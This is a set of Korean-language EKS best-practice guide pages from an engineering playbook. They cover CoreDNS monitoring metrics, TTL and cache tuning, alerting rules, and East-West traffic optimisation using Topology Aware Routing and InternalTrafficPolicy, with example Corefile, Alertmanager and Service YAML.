- [EKS Provisioned Control Plane](https://docs.aws.amazon.com/eks/latest/userguide/eks-provisioned-control-plane.html)
- [Control Plane Monitoring Best Practices](https://docs.aws.amazon.com/eks/latest/best-practices/control_plane_monitoring.html)
- [Kubernetes Control Plane Scaling](https://docs.aws.amazon.com/eks/latest/best-practices/scale-control-plane.html)
- [Monitor cluster data with Amazon CloudWatch](https://docs.aws.amazon.com/eks/latest/userguide/cloudwatch.html)
- [Fetch control plane raw metrics in Prometheus format](https://docs.aws.amazon.com/eks/latest/userguide/view-raw-metrics.html)
### AWS Blogs
- [Amazon EKS introduces Provisioned Control Plane](https://aws.amazon.com/blogs/containers/amazon-eks-introduces-provisioned-control-plane/)
- [Amazon EKS enhances Kubernetes control plane observability](https://aws.amazon.com/blogs/containers/amazon-eks-enhances-kubernetes-control-plane-observability/)
### Kubernetes Upstream
- [API Priority and Fairness](https://kubernetes.io/docs/concepts/cluster-administration/flow-control/)
- [Kubernetes SLOs](https://github.com/kubernetes/community/blob/master/sig-scalability/slos/slos.md)
- [ClusterLoader2](https://github.com/kubernetes/perf-tests/tree/master/clusterloader2)
---
# 네트워크 & 성능 최적화
> EKS 환경에서의 DNS 최적화, East-West 트래픽, Gateway API 도입 등 네트워크 및 성능 관련 베스트 프랙티스
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance
Category: EKS Best Practices
Last updated: 2026-06-30
Author: devfloor9
Tags: eks, networking, performance, dns, gateway-api
import { DocCard, DocCardGrid } from '@site/src/components/DocCards';
EKS 클러스터의 네트워크 성능을 극대화하기 위한 실전 가이드입니다. DNS 튜닝, 서비스 간 트래픽 최적화, 그리고 차세대 트래픽 라우팅인 Gateway API 도입 전략을 다룹니다.
---
---
# CoreDNS 모니터링과 성능 최적화 완벽 가이드
> Amazon EKS의 CoreDNS 성능을 체계적으로 모니터링하고 최적화하는 방법. Prometheus 메트릭, TTL 튜닝, 모니터링 아키텍처, 실제 문제 해결 사례 포함
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/coredns-monitoring-optimization
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, coredns, dns, monitoring, prometheus, performance
import { GoldenSignals, CoreDnsMetricsTable, TtlConfigGuide, MonitoringArchitecture, TroubleshootingTable, PerformanceBenchmarks } from '@site/src/components/CoreDnsTables';
Amazon EKS와 최신 Kubernetes 클러스터에서 **CoreDNS**는 클러스터 내 모든 서비스 디스커버리와 외부 도메인 이름 해석을 담당하는 핵심 컴포넌트입니다. CoreDNS의 성능과 가용성은 애플리케이션 응답 시간과 안정성에 직접적인 영향을 미치기 때문에, **효과적인 모니터링 및 최적화 아키텍처**를 구축하는 것이 중요합니다. 이 아티클에서는 **CoreDNS 성능 모니터링 메트릭**, **TTL 설정 가이드**, **모니터링 아키텍처 모범 사례**, **AWS 권장 사항 및 실무 사례**를 분석합니다. 각 섹션에서는 Prometheus 메트릭, Amazon EKS 환경에서의 적용 예시를 활용하여 CoreDNS 모니터링 전략을 알아봅니다.
## 1. CoreDNS 성능 모니터링: 주요 Prometheus 메트릭과 의미
CoreDNS는 `metrics` 플러그인을 통해 **Prometheus 형식의 메트릭**을 제공하며, 기본적으로 EKS에서는 `kube-dns` 서비스의 `9153` 포트로 노출됩니다. 핵심 메트릭들은 **DNS 요청의 처리량, 지연 시간, 오류, 캐싱 효율** 등을 보여주며, 이를 모니터링함으로써 DNS 성능 병목이나 장애 징후를 빠르게 포착할 수 있습니다.
### CoreDNS 4 Golden Signals
### CoreDNS 핵심 Prometheus 메트릭
이 외에도 **요청/응답 크기**(`coredns_dns_request_size_bytes`, `...response_size_bytes`), **DO 비트 설정 여부**(`coredns_dns_do_requests_total`) 등의 메트릭이 제공되며, CoreDNS에 로드된 **플러그인별 추가 메트릭**도 존재할 수 있습니다. 예를 들어 **Forward 플러그인**을 통한 업스트림 질의 시간(`coredns_forward_request_duration_seconds`)이나 **kubernetes 플러그인**의 API 업데이트 지연(`coredns_kubernetes_dns_programming_duration_seconds`) 등이 있습니다.
### 주요 메트릭 의미 및 활용
예를 들어 `coredns_dns_requests_total`의 초당 증가율로 **DNS QPS**를 파악하고, 이를 CoreDNS Pod별로 나누어 부하가 **균등**한지 확인합니다. QPS가 지속적으로 증가하면 CoreDNS **스케일 아웃**이 필요한지 검토합니다. `coredns_dns_request_duration_seconds`의 99퍼센타일이 평소보다 높아지면, CoreDNS가 **응답 지연**을 겪고 있다는 의미이므로 **업스트림 DNS 지연**이나 CoreDNS **CPU/메모리 포화** 여부를 점검합니다. 이 때 CoreDNS 캐시(`coredns_cache_hits_total`) hit 비율이 낮다면, TTL이 너무 짧아 캐시효과가 떨어지는지 확인하고 조정합니다. `coredns_dns_responses_total`에서 `SERVFAIL` 또는 `REFUSED` 비율이 증가하면 CoreDNS **외부 통신 문제**나 **접근 권한 문제**가 없는지 로그를 점검해야 합니다. 한편 `NXDOMAIN` 증가가 특정 도메인에 대해 급증한다면, 애플리케이션이 잘못된 도메인을 조회하고 있을 수 있으므로 해당 부분을 수정해야 합니다.
또한 **시스템 리소스 메트릭** (CPU/메모리)도 중요합니다. CoreDNS Pod의 CPU/메모리 사용률을 모니터링하여, 각 Pod가 **리소스 한계에 근접**하는 경우 알림을 설정합니다. 예를 들어 EKS의 기본 CoreDNS **메모리 요청/제한은 70Mi/170Mi**로 설정되어 있으므로, 메모리 사용량이 150Mi를 넘어서는지 추적하여 임계치 도달 시 경보를 울리고 메모리 한계를 늘리거나 Pod을 추가하는 등의 조치를 취할 수 있습니다. CPU도 제한에 도달하면 kubelet이 CoreDNS 프로세스를 **스로틀링**하여 DNS 지연을 초래할 수 있으므로, CPU 사용률이 제한치에 근접하면 확장이나 자원 할당 증설을 고려해야 합니다.
:::warning VPC ENI DNS 패킷 제한
각 노드 ENI는 초당 1024개의 DNS 패킷만 허용합니다. CoreDNS의 `max_concurrent` 한계를 풀어도, ENI PPS 한계(1024 PPS)의 제한으로 인하여 원하는 성능에 도달하지 못할 수도 있습니다.
:::
## 2. CoreDNS TTL 설정 가이드 및 Amazon EKS 적용 예시
**TTL(Time-To-Live)**은 DNS 레코드의 유효 캐시 시간을 의미하며, 적절한 TTL 설정은 **DNS 트래픽 부하**와 **정보 신선도** 사이의 균형을 좌우합니다. CoreDNS에서는 두 가지 수준에서 TTL을 다룹니다:
- **권한 영역 레코드(SOA, Start of Authority) TTL:** Kubernetes 클러스터 내부 도메인(`cluster.local` 등)에 대한 **kubernetes 플러그인** 응답 TTL로, 기본값은 **5초**입니다. CoreDNS `Corefile`에서 `kubernetes` 섹션에 `ttl` 옵션을 지정하여 변경할 수 있으며, 최소 0초(캐싱 안 함)에서 최대 3600초까지 설정 가능합니다.
- **캐시 TTL:** **cache 플러그인**에서 캐시된 항목을 보관하는 최대 시간으로, 기본값은 **최대 3600초 (성공 응답)**이며 CoreDNS 설정에서 `cache [TTL]` 형태로 조정할 수 있습니다. 지정된 TTL은 **상한치**로 동작하며, 실제 DNS 레코드의 TTL이 그보다 짧으면 그 짧은 값에 따라 캐시에서 제거됩니다. (`cache` 플러그인의 기본 최소 TTL은 5초이며, `MINTTL`로 조정 가능).
### Amazon EKS 기본 CoreDNS 설정
EKS에 배포되는 기본 CoreDNS Corefile을 살펴보면, `kubernetes` 플러그인에 별도의 TTL이 지정되지 않아 **기본 5초**가 사용되고 있고, 대신 `cache 30` 설정을 통해 **모든 DNS 응답을 최대 30초까지 캐시**하도록 구성되어 있습니다. 즉 **내부 서비스 레코드**의 TTL은 응답 패킷상 5초이지만, CoreDNS 자체는 cache 플러그인으로 최대 30초간 응답을 캐싱하여 동일한 질의에 대해 빈번히 Kubernetes API를 조회하지 않도록 최적화합니다. 또한 외부 도메인 조회 시에도 최대 30초간 결과를 캐싱하여, 예를 들어 TTL이 매우 큰 외부 레코드라도 30초 이후에는 갱신하도록 함으로써 **지나치게 오래된 DNS 정보**를 들고 있지 않도록 합니다.
### TTL 설정 가이드
일반적으로 **짧은 TTL(예: 5초 이하)**은 DNS 레코드 변경사항(예: 새로운 서비스 IP나 Pod IP 변화)이 신속히 반영되는 장점이 있으나, 클라이언트나 DNS 캐시에 의한 **반복 조회가 많아** CoreDNS 부하가 증가할 수 있습니다. 반대로 **긴 TTL(예: 수분 이상)**은 DNS 질의 빈도를 줄여 성능을 높이지만, 변경 사항 전파가 지연되어 **구형 정보**로 인한 일시적 연결 실패 가능성이 커집니다. **권장되는 접근법**은 클러스터 크기와 워크로드 패턴에 따라 TTL을 **적당히 (수십 초 단위)** 늘려 **캐시 적중률을 높이면서** 심각한 정보 지연은 피하는 것입니다. 많은 Kubernetes 환경에서 **TTL 30초** 전후가 하나의 기준으로 사용됩니다.
### Amazon EKS 적용 예시
EKS에서 TTL을 조정하려면 **CoreDNS ConfigMap**을 수정해야 합니다. 예를 들어 내부 도메인 캐시 시간을 늘리고자 한다면, Corefile의 `kubernetes cluster.local ...` 블록에 `ttl 30`을 추가할 수 있습니다. 이렇게 하면 **클러스터 내부 DNS 응답의 TTL 필드**가 30초로 증가하여, 클라이언트 측(예: NodeLocal DNSCache나 애플리케이션 런타임)이 이를 참고해 캐싱할 경우 30초간 재조회하지 않게 됩니다. 다만 Kubernetes 환경에서는 일반적인 리눅스 glibc resolver가 자체 캐시를 하지 않고 매번 CoreDNS에 조회하기 때문에, **NodeLocal DNSCache**와 같은 보조 캐시가 없으면 TTL을 늘려도 클라이언트 측 이점은 제한적입니다. 주로 CoreDNS 자체의 부하 경감을 위하여 TTL을 조정하게 됩니다.
:::warning Aurora DNS 로드밸런싱 이슈
**AWS Aurora**와 같이 **DNS 로드밸런싱을 위해 매우 낮은 TTL(1초)**을 사용하는 서비스가 있습니다. 이 경우 CoreDNS가 기본 최소 TTL 5초로 인해 원래 1초 TTL을 5초로 **과도 캐싱**하여 Aurora 리더 엔드포인트 트래픽 분산이 왜곡되는 문제가 보고되었습니다. 이러한 상황에서는 **특정 도메인에 한해 TTL을 낮추는 설정**을 도입해야 합니다.
:::
실제 사례에서는 NodeLocal DNSCache CoreDNS 설정에 `amazonaws.com` 영역에 대해 `cache 1` 및 `success/denial 1` TTL 세부 설정을 적용함으로써, Aurora 엔드포인트의 원래 TTL 1초를 준수하도록 구성하여 문제를 해결했습니다. 따라서 **외부 서비스의 TTL 정책**도 고려하여 CoreDNS의 TTL과 캐시 전략을 튜닝해야 합니다.
## 3. CoreDNS 모니터링 아키텍처 모범 사례
CoreDNS 모니터링 아키텍처는 **메트릭 수집(Prometheus 등)**과 **로그 수집(예: Fluent Bit 등)**, 그리고 시각화 및 알림 체계를 모두 포함하는 **통합적인 관찰성 파이프라인**으로 구축하는 것이 이상적입니다. Amazon EKS 환경에서는 **Managed 서비스**와 **오픈소스 도구**를 조합하여 안정적이고 확장 가능한 모니터링 시스템을 구현할 수 있습니다.
### 메트릭 수집 및 저장
Amazon EKS에서는 CoreDNS의 Prometheus 메트릭을 수집하기 위해 **두 가지 접근**이 일반적입니다:
1. **Amazon Managed Service for Prometheus (AMP)**: AWS에서 제공하는 **완전 관리형 Prometheus 호환** 서비스로, 클러스터 내 메트릭을 원격 수집(remote write)하여 **확장성 높은 시계열 DB**에 보관합니다. EKS 클러스터에는 **ADOT(AWS Distro for OpenTelemetry) Collector** 또는 **Prometheus 서버**를 설치하여 CoreDNS 메트릭을 스크랩한 후 AMP로 전송합니다. AMP에 저장된 메트릭은 **PromQL**로 쿼리 가능하며, 장기 보관 및 대규모 클러스터 지원에 적합합니다.
2. **CloudWatch Container Insights (및 CloudWatch 에이전트):** AWS의 CloudWatch를 활용하여 **Prometheus 메트릭을 CloudWatch로 수집**하는 방법입니다. CloudWatch 에이전트를 DaemonSet으로 배포하고, `kube-system/kube-dns` 서비스의 9153 포트로부터 CoreDNS 메트릭을 스크랩하도록 설정합니다.
:::tip ServiceMonitor 설정
Amazon EKS의 kube-dns 서비스는 metrics 포트를 제공하므로, Prometheus Operator를 사용한다면 ServiceMonitor를 생성하여 kube-system 네임스페이스의 k8s-app=kube-dns 레이블을 가진 서비스를 대상으로 9153포트를 스크랩할 수 있습니다.
:::
### 로그 수집
CoreDNS의 **쿼리 로그와 에러 로그**는 성능 문제를 진단하거나 보안 모니터링(예: 특정 도메인에 대한 폭주 조회) 측면에서 유용한 정보원입니다. CoreDNS의 기본 Corefile에는 `log` 플러그인이 없지만, 필요에 따라 `log` 또는 `errors` 플러그인을 활성화할 수 있습니다. **실무에서는** CoreDNS Pod의 표준 출력(stdout/stderr)에 기록되는 로그를 수집하기 위해 **Fluent Bit**이나 **Fluentd**를 DaemonSet으로 운용하여 CloudWatch Logs로 내보내는 패턴이 흔합니다.
:::warning 로그 수집 주의사항
과도한 로그 수집으로 인한 부하를 피하기 위해 필요 수준으로만 로그를 남기는 것이 중요합니다. EKS 모범 사례에서는 Fluent Bit 등 에이전트가 Kubernetes API를 반복 조회하지 않도록 **메타데이터 캐싱**을 설정하고 (`Kube_Meta_Cache_TTL=60` 등) 불필요한 필드 수집을 줄이는 것을 권장합니다.
:::
### 시각화 및 대시보드
수집된 CoreDNS 메트릭은 **Grafana**를 통해 모니터링 대시보드로 시각화하는 것이 일반적입니다. Amazon Managed Grafana(AMG)는 AMP나 CloudWatch와 네이티브 통합되어 데이터 소스로 활용할 수 있고, **IAM 연동 SSO**로 접근을 제어할 수 있습니다. Grafana에서 CoreDNS 대시보드를 구축할 때, **요청률(QPS), 응답 지연(histogram), 오류율(rcode 분포), 캐시 히트율** 등의 패널을 구성합니다.
### 알람/Alerting
**Prometheus Alertmanager** 또는 CloudWatch Alarms를 활용하여 **DNS 이상 징후에 대한 경보**를 설정해야 합니다. 대표적인 CoreDNS 관련 Alertmanager **규칙 예시**는 다음과 같습니다:
- **CoreDNSDown**: 일정 시간 동안 (`for: 15m` 등) CoreDNS 메트릭(`up{job="kube-dns"}` 등)가 보고되지 않을 때 경보.
- **HighDNSLatency**: `coredns_dns_request_duration_seconds`의 **p99 지연 시간**이 예를 들어 **100ms**를 초과하고 평소보다 높을 때 경보.
- **DNSErrorsSpike**: `coredns_dns_responses_total`에서 `rcode` 라벨이 `SERVFAIL` 또는 `NXDOMAIN`인 값의 비율이 일정 임계치 이상일 때 경보.
- **ENIThrottling**: AWS 환경 특화 메트릭으로, **EC2 네트워크 인터페이스(ENI)의 DNS 패킷 제한 초과**를 모니터링하는 경보입니다.
- **HighCoreDNSCPU/Memory**: CoreDNS Pod의 CPU/메모리 사용률 모니터링 경보.
## 4. Amazon EKS 모범 사례 및 고객 사례 (DNS 병목 대응 등)
AWS 클라우드 환경에 특화된 **EKS DNS 운용 모범사례**를 문서와 블로그를 통해 제공하고 있습니다. 주요 권장사항과 고객 사례에서 자주 등장하는 시나리오는 다음과 같습니다:
### CoreDNS Horizontal Scaling (복제수 조정)
EKS 클러스터 생성 시 기본 CoreDNS Deployment 복제수는 2개로 고정되지만, 노드 수와 워크로드 증가에 따라 **수평 확장**이 필요할 수 있습니다. AWS 모범 사례는 **Cluster Proportional Autoscaler**를 사용해 CoreDNS 복제수를 **노드 수 또는 CPU 코어 수에 비례하여 자동 증가**시키는 것입니다.
### NodeLocal DNSCache 도입
**대규모 클러스터**나 **DNS 트래픽이 매우 빈번한 워크로드**에서는, CoreDNS를 중앙에서 처리하는 방식이 **네트워크 지연 및 ENI 한계**로 병목이 될 수 있습니다. Kubernetes의 공식 애드온인 *NodeLocal DNSCache*는 **모든 노드에서 DNS 캐시 에이전트(CoreDNS 기반)를 데몬셋으로 실행**하여, 각 Node에서 **로컬 DNS**를 제공하는 방식입니다.
### DNS 패킷 한계 및 트래픽 분산
AWS 환경의 흔한 병목으로 **VPC DNS 패킷 한도(1024 PPS/ENI)**가 있습니다. 실무 사례로, 대량의 외부 DNS 조회를 하는 애플리케이션이 있을 경우 CoreDNS Pod 2개가 **모두 동일한 노드**에 떠 있다면, 그 노드의 ENI 하나로 모든 외부 DNS 질의가 나가 한도를 넘을 위험이 있습니다.
### Graceful Termination 설정 (Lameduck & Ready 플러그인)
CoreDNS Pod를 재시작하거나 축소할 때 발생하는 **일시적인 DNS 실패**를 막기 위한 설정입니다. AWS 모범 사례는 CoreDNS에 **lameduck 30s** 설정을 적용하고, **Readiness Probe**를 `/ready` 엔드포인트로 구성하는 것입니다.
### 더 높은 QPS가 필요할 때
1. **`max_concurrent` 상향**: `2000` 이상으로 조정할 수 있지만, 메모리 사용량(2 KB × 동시 질의 수)과 upstream DNS 지연 시간을 함께 고려해야 합니다.
2. **CoreDNS 수평 확장**: Replica 수를 늘리거나 Cluster Proportional Autoscaler, HPA, 혹은 **NodeLocal DNSCache**로 질의를 노드 단으로 분산합니다.
3. **ENI 한계 모니터링**: `aws_ec2_eni_allowance_exceeded` (CloudWatch) 또는 `linklocal_allowance_exceeded` 지표에 알람을 걸어 ENI PPS 초과를 조기에 탐지합니다.
## 핵심 요약
- **모니터링 메트릭**: `requests_total`, `request_duration_seconds`, `cache_hits/misses`, `responses_total{rcode}`, CPU/메모리
- **TTL 권장치**: 서비스 레코드 30s, cache (success 30, denial 5-10), prefetch 5 60s
- **모니터링**: kube-prometheus-stack 기본 대시보드 + Alertmanager 룰, 필요 시 NodeLocal DNSCache로 스케일-아웃
## 부록: 구성 예시
### Corefile 권장 구성
```text
.:53 {
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30 # Service/POD 레코드 TTL
}
cache 30 { # 최대 30초 보존
success 10000 30 # capacity 10k, maxTTL 30s
denial 2000 10 # negative cache 2k, maxTTL 10s
prefetch 5 60s # 동일 질의 5회↑면 60s 전에 갱신
}
forward . /etc/resolv.conf {
max_concurrent 2000
prefer_udp
}
prometheus :9153
health {
lameduck 30s
}
ready
reload
log
}
```
### Alertmanager 룰 예시
```yaml
- alert: CoreDNSHighErrorRate
expr: >
(sum(rate(coredns_dns_responses_total{rcode!~"NOERROR"}[5m])) /
sum(rate(coredns_dns_requests_total[5m]))) > 0.01
for: 10m
labels:
severity: critical
annotations:
description: "CoreDNS error rate > 1% for 10 min"
- alert: CoreDNSP99Latency
expr: >
histogram_quantile(0.99,
sum(rate(coredns_dns_request_duration_seconds_bucket[5m])) by (le)) > 0.05
for: 5m
labels:
severity: warning
```
### 대규모 클러스터 (>100 노드 또는 QPS > 5k)
1. **NodeLocal DNSCache** (DaemonSet 형태)로 노드 로컬에서 캐시하여 RTT 단축
- nodelocaldns 메트릭도 Prometheus에 수집해 CoreDNS와 비교
2. **CloudWatch Container Insights** (EKS 전용)
- Prometheus 수집이 어려운 환경이라면 `cwagent + adot-internal-metrics` 옵션으로 CoreDNS 컨테이너 메트릭을 CloudWatch로 전송 가능 (별도 요금 발생)
---
# East-West 트래픽 최적화: 성능과 비용의 균형
> EKS에서 서비스 간 통신(East-West)의 지연시간을 최소화하고 크로스-AZ 비용을 절감하는 심층 최적화 전략. Topology Aware Routing, InternalTrafficPolicy부터 Cilium ClusterMesh, AWS VPC Lattice, Istio 멀티클러스터까지
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/east-west-traffic-best-practice
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, networking, performance, cost-optimization, service-mesh, topology-aware-routing
import { ServiceTypeComparison, LatencyCostComparison, CostSimulation, ScenarioMatrix } from '@site/src/components/EastWestTrafficTables';
## 개요
Amazon EKS 기반의 내부 서비스 간 통신(East-West 트래픽)을 **지연(latency) 최소화**와 **비용 효율화** 관점에서 최적화하는 방안을 정리합니다. 단일 클러스터에서 시작하여 멀티 AZ(Availability Zone) 구성, 나아가 멀티 클러스터/멀티 계정 환경으로 확장되는 시나리오를 단계적으로 다룹니다.
East-West(서비스↔서비스)의 홉 수가 1 → 2로 늘어나면 p99 지연이 밀리초 단위로 증가하고, AZ를 가로지르면 AWS 대역폭 요금(GB 단가 $0.01)이 발생합니다. 이 가이드는 **Kubernetes 네이티브 기능(Topology Aware Routing·InternalTrafficPolicy)부터 Cilium ClusterMesh, AWS VPC Lattice, Istio 서비스 메쉬**까지 레이어별 옵션을 분석하고, 지연·오버헤드·비용을 정량 비교합니다.
### 배경 및 문제점
기본 Kubernetes 네트워킹에서 East-West 트래픽이 직면하는 문제점은 다음과 같습니다:
- **AZ 인식 부재**: 기본 ClusterIP 서비스는 클러스터 전체 Pod에 트래픽을 랜덤(iptables) 또는 라운드로빈(IPVS) 분산시키며 AZ를 고려하지 않습니다
- **불필요한 Cross-AZ 트래픽**: Pod가 여러 AZ에 분산되면 트래픽이 무작위로 타 AZ로 전달되어 지연 증가 및 비용 발생
- **Cross-AZ 데이터 전송 비용**: 동일 리전 내 AZ 간 GB당 약 $0.01이 양방향으로 부과
- **DNS 조회 지연**: 중앙화된 CoreDNS로의 교차 AZ DNS 조회 및 QPS 한도 초과 이슈
- **LB 경유 시 추가 홉**: Internal ALB/NLB를 East-West에 사용하면 불필요한 네트워크 홉과 고정비용 발생
### 핵심 이점
이 가이드의 최적화 전략을 적용하면 다음과 같은 개선을 기대할 수 있습니다:
| 항목 | 개선 효과 |
|------|----------|
| 네트워크 지연 | Topology Aware Routing으로 동일 AZ 라우팅, p99 sub-ms 달성 |
| 비용 절감 | Cross-AZ 트래픽 제거 시 10 TB/월 기준 약 $100 절감 |
| 운영 단순화 | ClusterIP 기반으로 LB 없이 서비스 간 통신 최적화 |
| DNS 성능 | NodeLocal DNSCache로 DNS 조회 지연 수ms → sub-ms |
| 확장성 | 멀티 클러스터/계정 환경으로의 일관된 확장 경로 제공 |
### L4 vs L7 트래픽별 최적화 전략
East-West 트래픽 최적화는 전송 계층(L4)과 애플리케이션 계층(L7)에서 다르게 접근합니다:
- **L4 트래픽(TCP/UDP)**: 추가적인 프로토콜 처리 없이 직접적인 연결 경로를 확보하는 것이 핵심입니다. 불필요한 프록시나 로드밸런서를 경유하지 않고 Pod 간 1-hop 통신이 이루어지도록 설계하면 지연을 최소화할 수 있습니다. 데이터베이스와 같은 StatefulSet 서비스에는 Headless Service를 통해 클라이언트가 DNS 라운드로빈으로 직접 대상 Pod에 연결하는 패턴이 적합합니다.
- **L7 트래픽(HTTP/gRPC)**: 내용 기반 라우팅, 리트라이 등의 고급 트래픽 제어가 필요하면 애플리케이션 계층 프록시를 활용합니다. ALB나 Istio 사이드카를 이용하면 경로 기반 라우팅, gRPC 메서드별 라우팅, 서킷 브레이커 등 L7 기능을 적용할 수 있습니다. 다만 L7 프록시는 패킷 검사와 처리로 부하와 지연이 증가하므로, 단순 트래픽에는 과도한 요소가 될 수 있습니다.
---
## 사전 요구사항
### 필수 지식
- Kubernetes 네트워킹 기본 개념 (Service, Endpoint, kube-proxy)
- AWS VPC 네트워킹 (Subnet, AZ, ENI)
- DNS 해석 메커니즘 (CoreDNS, /etc/resolv.conf)
### 필요한 도구
| 도구 | 버전 | 용도 |
|------|------|------|
| kubectl | 1.27+ | 클러스터 리소스 관리 |
| eksctl | 0.170+ | EKS 클러스터 생성 및 관리 |
| AWS CLI | 2.x | AWS 리소스 확인 |
| Helm | 3.12+ | 차트 배포 (NodeLocal DNSCache 등) |
| AWS Load Balancer Controller | 2.6+ | ALB/NLB 연동 (필요 시) |
### 환경 요구사항
| 항목 | 요구사항 |
|------|----------|
| EKS 버전 | 1.27+ (Topology Aware Routing 지원) |
| VPC CNI | v1.12+ 또는 Cilium (ClusterMesh 시나리오) |
| AZ 구성 | 동일 리전 내 최소 2개 AZ |
| IAM 권한 | EKS 클러스터 관리자, ELB 생성/관리 권한 |
---
## 아키텍처
### 아키텍처 개요: 단일 클러스터 트래픽 경로 비교
아래 다이어그램은 ClusterIP와 Internal ALB 경로의 차이를 보여줍니다:
```mermaid
graph TB
subgraph AZ_A["AZ-a"]
PodA1["Pod A
(Client)"]
PodB1["Pod B
(Target)"]
ALB_ENI_A["ALB ENI"]
end
subgraph AZ_B["AZ-b"]
PodA2["Pod A
(Client)"]
PodB2["Pod B
(Target)"]
ALB_ENI_B["ALB ENI"]
end
PodA1 -->|"① ClusterIP
kube-proxy NAT
1 hop, sub-ms"| PodB1
PodA1 -.->|"② ALB 경로
2 hops, +2-3ms"| ALB_ENI_A
ALB_ENI_A -.->|"LB 분산"| PodB1
ALB_ENI_A -.->|"cross-AZ 가능
+$0.01/GB"| PodB2
PodA2 -->|"① ClusterIP
+ Topology Hints
동일 AZ 유지"| PodB2
style PodA1 fill:#4A90D9,color:#fff
style PodA2 fill:#4A90D9,color:#fff
style PodB1 fill:#7B68EE,color:#fff
style PodB2 fill:#7B68EE,color:#fff
style ALB_ENI_A fill:#FF6B6B,color:#fff
style ALB_ENI_B fill:#FF6B6B,color:#fff
```
:::info 핵심 차이점
- **ClusterIP 경로**: Pod → kube-proxy (iptables/IPVS NAT) → target Pod (1 hop)
- **Internal ALB 경로**: Pod → AZ-local ALB ENI → target Pod (2 hops)
- Topology Aware Routing 적용 시 ClusterIP 경로는 동일 AZ 내에서 완결됩니다
:::
### 멀티 클러스터 연결 옵션 비교
```mermaid
graph LR
subgraph Cluster_A["EKS Cluster A"]
PA["Pod A"]
EA["Envoy Sidecar"]
end
subgraph Cluster_B["EKS Cluster B"]
PB["Pod B"]
EB["Envoy Sidecar"]
end
subgraph Options["연결 옵션"]
CM["Cilium ClusterMesh
Pod→Pod 직접
VXLAN 터널"]
VL["VPC Lattice
Managed Proxy
IAM 인증"]
IM["Istio 멀티클러스터
East-West Gateway
mTLS"]
DNS["Route53 + NLB
DNS 기반
ExternalDNS"]
end
PA --> CM --> PB
PA --> VL --> PB
PA --> EA --> IM --> EB --> PB
PA --> DNS --> PB
style CM fill:#2ECC71,color:#fff
style VL fill:#F39C12,color:#fff
style IM fill:#9B59B6,color:#fff
style DNS fill:#3498DB,color:#fff
```
### Kubernetes 서비스 유형별 비교
서비스 간 통신을 어떻게 연결하느냐에 따라 성능과 비용에 차이가 있습니다:
:::tip 서비스 유형 선택 지침
- **기본 선택**: ClusterIP + Topology Aware Routing
- **StatefulSet**: Headless 서비스
- **L7 기능 필요 시**: Internal ALB (IP 모드)
- **L4 외부 노출 필요 시**: Internal NLB (IP 모드)
:::
### Instance 모드 vs IP 모드
Internal LB 사용 시 Instance 모드와 IP 모드의 차이를 이해하는 것이 중요합니다:
- **Instance 모드**: LB → NodePort → kube-proxy → Pod. NodePort를 받은 노드의 kube-proxy가 대상 Pod이 위치한 다른 AZ의 노드로 패킷을 전달하면서 **교차 AZ 통신이 발생**합니다
- **IP 모드**: LB → Pod IP 직접 연결. 각 AZ에서 Pod IP로 직접 트래픽을 전달하기 때문에 **중간 Node를 거치지 않고 동일 AZ의 Pod으로 연결**됩니다
:::warning Instance 모드 주의
Instance 모드에서는 NodePort 경유로 cross-AZ 트래픽이 증가합니다. AWS 모범사례는 내부 LB 사용 시 가능하면 **IP 모드**로 설정하여 불필요한 AZ 간 트래픽을 줄일 것을 권장합니다. IP 모드를 사용하려면 AWS Load Balancer Controller가 필요합니다.
:::
### 아키텍처 의사결정
:::info 기술 선택 기준
**왜 ClusterIP를 기본으로 선택하는가?**
- 네이티브 Kubernetes 기능으로 추가 비용 없음
- 1-hop 통신으로 최저 지연
- Topology Aware Routing과 결합하여 AZ 인식 가능
- 서비스 메쉬, Gateway API와의 통합 용이
**왜 Internal ALB는 선택적으로 사용하는가?**
- 시간당 비용($0.0225/h) + LCU 과금이 지속 발생
- 추가 네트워크 홉으로 2-3ms RTT 오버헤드
- EC2→EKS 마이그레이션 등 과도기적 사용에 적합
:::
---
## 구현
### 단계 1: Topology Aware Routing 활성화
멀티 AZ 환경에서 지연과 비용을 줄이는 핵심은 트래픽이 가능한 한 동일 AZ 내에서 처리되도록 하는 것입니다. Kubernetes 1.27+ 버전에서 Topology Aware Routing을 활성화하면, EndpointSlice에 각 엔드포인트의 AZ 정보(hints)가 기록되고 kube-proxy가 클라이언트와 같은 Zone의 Pod으로만 트래픽을 라우팅합니다.
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
namespace: production
annotations:
# Topology Aware Routing 활성화
service.kubernetes.io/topology-mode: Auto
spec:
selector:
app: my-app
ports:
- name: http
port: 80
targetPort: 8080
protocol: TCP
type: ClusterIP
```
**검증:**
```bash
# EndpointSlice에 topology hints가 설정되었는지 확인
kubectl get endpointslices -l kubernetes.io/service-name=my-service -o yaml
# 출력에서 hints 필드 확인
# hints:
# forZones:
# - name: ap-northeast-2a
```
:::warning Topology Aware Routing 동작 조건
- 각 AZ에 **충분한 엔드포인트**가 존재해야 합니다
- Pod가 특정 AZ에만 치우쳐 있으면 해당 서비스는 힌트를 비활성화하고 전체로 라우팅합니다
- EndpointSlice 컨트롤러가 AZ별 Pod 비율이 균등하지 않다고 판단하면 hints가 생성되지 않습니다
:::
### 단계 2: InternalTrafficPolicy Local 설정
Topology Aware Routing보다 범위를 더 좁힌 기능으로, 동일 노드(Local Node)에 구동 중인 엔드포인트에만 트래픽을 전달합니다. 노드 간(당연히 AZ 간) 네트워크 홉이 완전히 제거되어 지연이 최소화되고 Cross-AZ 비용도 0에 수렴합니다.
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-local-service
namespace: production
spec:
selector:
app: my-app
ports:
- name: http
port: 80
targetPort: 8080
type: ClusterIP
# 동일 노드의 엔드포인트로만 트래픽 전달
internalTrafficPolicy: Local
```
:::danger InternalTrafficPolicy: Local 주의사항
로컬 노드에 대상 Pod이 하나도 없는 경우 **트래픽이 드롭**됩니다. 이 정책을 사용하는 서비스는 모든 노드(혹은 최소 해당 서비스 호출이 발생하는 노드)에 적어도 하나 이상의 Pod가 배치되어야 합니다. Pod Topology Spread 또는 PodAffinity를 반드시 함께 사용하세요.
:::
